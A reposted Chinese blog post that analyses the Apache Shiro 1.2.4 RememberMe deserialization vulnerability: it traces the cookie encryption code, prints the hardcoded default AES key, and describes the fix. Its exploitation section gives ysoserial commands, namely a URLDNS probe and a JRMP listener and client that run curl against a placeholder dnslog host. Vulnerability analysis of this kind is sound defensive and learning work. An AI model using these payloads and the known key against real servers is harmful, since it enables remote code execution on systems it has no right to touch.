转载

Shiro 反序列化记录

shiro反序列化这个从 issue 550 开始进入大家的视野,到现在也挺久的了,但是这个漏洞还是挺好用的,特别是一些红蓝对抗、护网的场景下用来撕开口子非常好用,当然我也只是学习一下。

0x02 漏洞分析

1.环境搭建

git clone https://github.com/apache/shiro.git  
git checkout shiro-root-1.2.4  
cd ./shiro/samples/web  
mvn package -D maven.skip.test=true

可以看到 shiro 自带的 commons-collections 的版本是 3.2.1

Shiro 反序列化记录

用上面的方法编译后导入到 tomcat 里面就能看了,当然编译过程还有坑,比如你需要在.m2目录下创建一个 toolchains.xml 文件,然后加入 jdk 1.6 的路径,这个版本的编译依赖 jdk1.6

Shiro 反序列化记录

<toolchain>
  <type>jdk</type>
  <provides>
    <version>1.6</version>
    <vendor>sun</vendor>
  </provides>
  <configuration>
    <jdkHome>C:/Program Files/Java/jdk1.6.0_45</jdkHome>
  </configuration>
</toolchain>

详细环境搭建可参考 【漏洞分析】Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞

2.漏洞分析

从最早 ISSUE的地址 ,可以看到几个关键信息:

  • 默认使用 CookieRememberMeManager 来处理 Cookie
  • Base64编码
  • AES编码
  • 反序列化

Shiro 反序列化记录

加密过程

org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin 处下个断点,此时用户名密码已经在 token 中,用户名是 root

Shiro 反序列化记录

代码中首先会调用 forgetIdentity 针对 subject 变量进行处理,跟进 CookieRememberMeManager 中的 forgetIdentity

Shiro 反序列化记录

会调用 forgetIdentity 构造方法处理 requestresponse 请求,这里调用了 removeFrom ,跟进 removeFrom 。可以看到在 response 响应头中加入了一些 cookie 信息。

private void forgetIdentity(HttpServletRequest request, HttpServletResponse response) {
        getCookie().removeFrom(request, response);
    }

Shiro 反序列化记录

回到刚刚的 onSuccessfulLogin 方法中,这里对 token 进行了 isRememberMe 处理,这个 isRememberMe 主要是针对是否在这个测试环境中勾选了 remember me 这个按钮。

Shiro 反序列化记录

Shiro 反序列化记录

所以这里的结果自然是true,即进入到 rememberIdentity 方法处理传入的变量,跟进 rememberIdentity 方法,位置在 org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity ,由于我们之前的 authcInfo 的值实际上是我们的用户名 root ,这里经过处理传入到 rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) 这个构造方法里面。

Shiro 反序列化记录

跟进这个构造方法,发现调用 convertPrincipalsToBytes 方法处理 accountPrincipals 变量,而这个变量自然是我们的root的用户名。

protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
        byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
        rememberSerializedIdentity(subject, bytes);
    }

跟进 convertPrincipalsToBytes 方法发现它会序列化我们传入的 root 用户名,然后调用 encrypt 方法加密序列化后的二进制字节。

protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
       byte[] bytes = serialize(principals);     //序列化principals
       if (getCipherService() != null) {
           bytes = encrypt(bytes);         //加密bytes
       }
       return bytes;
   }

跟进 encrypt 方法,这里调用 cipherService.encrypt 针对序列化的二进制进行加密。

Shiro 反序列化记录

根据 AesCipherService 可以知道这个加密方式是 AES/CBC/PKCS5Padding

Shiro 反序列化记录

然后 getEncryptionCipherKey 实际上是开头中的 DEFAULT_CIPHER_KEY_BYTES 的常量,我们看到结果是一致的。

Shiro 反序列化记录

Shiro 反序列化记录

然后把 key 和用户名 root 的序列化带入进行加密,会返回加密后的结果。

Shiro 反序列化记录

紧接着回到 rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) 这个构造方法中的 rememberSerializedIdentity 方法。

Shiro 反序列化记录

跟进这个方法 rememberSerializedIdentity ,这个方法会把上面 aes 加密后二进制字节流进行处理,用 Base64 的方式进行加密,然后再把这个值还给 cookie

Shiro 反序列化记录

可能有点乱,看下面这个图可能会清楚点。

Shiro 反序列化记录

解密过程

前面已经了解加密的正常整个过程,现在需要找找解密的整个过程,我选择在 org.apache.shiro.mgt.AbstractRememberMeManager#decrypt 这个位置下个断点,看看调用链,这里截取部分,为什么从 DefaultSecurityManager 这个类开始,原因是因为 SecurityManager 是跟对象,一切都是从这里开始的,然后开始进行相关的身份校验。

convertBytesToPrincipals:429, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedPrincipals:396, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt)
resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt)
createSubject:342, DefaultSecurityManager (org.apache.shiro.mgt)

首先在 org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals 方法中调用 getRememberedSerializedIdentity 针对http请求进行处理。

Shiro 反序列化记录

跟进 getRememberedSerializedIdentity ,首先下图红框中的 getCookie 构造方法先获取 cookie 信息。

Shiro 反序列化记录

public Cookie getCookie() {
       return cookie;
   }

然后 readValue 方法,根据 Cookie 中的 name 字段获取 Cookie 的值,然后返回 Cookie 的值。

Shiro 反序列化记录

Shiro 反序列化记录

Shiro 反序列化记录

然后接着在 getRememberedSerializedIdentity 方法中调用 byte[] decoded = Base64.decode(base64) 处理 base64 加密的 Cookie 信息,并且将这个 Cookie 转化为二进制字节码。

Shiro 反序列化记录

Shiro 反序列化记录

然后又回到了 AbstractRememberMeManager 类的 convertBytesToPrincipals 方法处理二进制字节码的Cookie信息。

Shiro 反序列化记录

跟进 convertBytesToPrincipals 方法,这个方法调用 AbstractRememberMeManager 类中的 decrypt 针对二进制字节码进行解密。

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
       if (getCipherService() != null) {
           bytes = decrypt(bytes);
       }
       return deserialize(bytes);
   }

跟进 AbstractRememberMeManager 类中的 decrypt 方法,这个方法是调用 cipherService.decrypt 进行处理,看处理结果 byteSource 的开头,是不是很眼熟,Java序列化的头部。

Shiro 反序列化记录

经过由于我们之前说过,我们知道加密方法是 AES/CBC/PKCS5Padding ,密钥是 kPH+bIxk5D2deZiIxcaaaA== 。AES是对称加密,也就说已知密钥的情况下我们是能够解密的。

Shiro 反序列化记录

又回到了 convertBytesToPrincipals 方法,这里调用了 deserialize 方法处理我们前面的序列化 Cookie 字节编码。

Shiro 反序列化记录

一直跟进来,就找到了最后的反序列化输入位置 org.apache.shiro.io.DefaultSerializer#deserialize

Shiro 反序列化记录

最后再来一张图

Shiro 反序列化记录

3.漏洞利用

前面说过 shiro 自带的 commons-collections 的版本是 3.2.1 ,而在yso中与 commons-collections 相关的版本是 3.1

从@orange和@zsx文章中

Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class。

也就说shiro重构了自己的 resovleClass

Shiro 反序列化记录

jdk原版的 resovleClassClass.forName

Shiro 反序列化记录

跟进 resovleClass ,实际上是 loadClass ,所以锅出在了这里。

Shiro 反序列化记录

当然我个人习惯,遇到这类反序列化喜欢先用 URLDNS 进行探测,存在的话,再利用JRMP进行反弹。首先为什么使用URLDNS呢,因为这类型反序列化要 getshell 太麻烦, getshell 会遇到 getRuntime().exec() 命令拼接的锅导致一些特殊符号没办法正确表达自己意思。另一方面如果要反弹shell的话,这个 URLDNS 就可以用来探测,避免繁琐的Java环境。

java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://xxx.dnslog.cn

进一步执行命令的话还是喜欢用 JRMP 这个 Gadget ,这个的底层走的 RMI ,我们可以在 JRMP Server 上自定义命令。

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 4444 CommonsCollections5 'curl http://xxx.dnslog.cn'
# JRMP Server监听


java -jar ysoserial-master-SNAPSHOT.jar JRMPClient '1.2.3.4:1444'  
# 使用 JRMPClient 连接监听中的 JRMP Server。

4.修复方式

针对这个问题shiro解决了自带的硬编码的问题,当然如果用户还是用硬编码的方式,一旦key泄漏,一样是会造成反序列化的问题。

官方针对这个问题的修复方式:

1、删除相关默认密钥

2、如果没有配置密钥,会随机生成一个密钥。

Shiro 反序列化记录

Shiro 反序列化记录

原文  http://www.lmxspace.com/2019/10/17/Shiro-反序列化记录/
正文到此结束
Loading...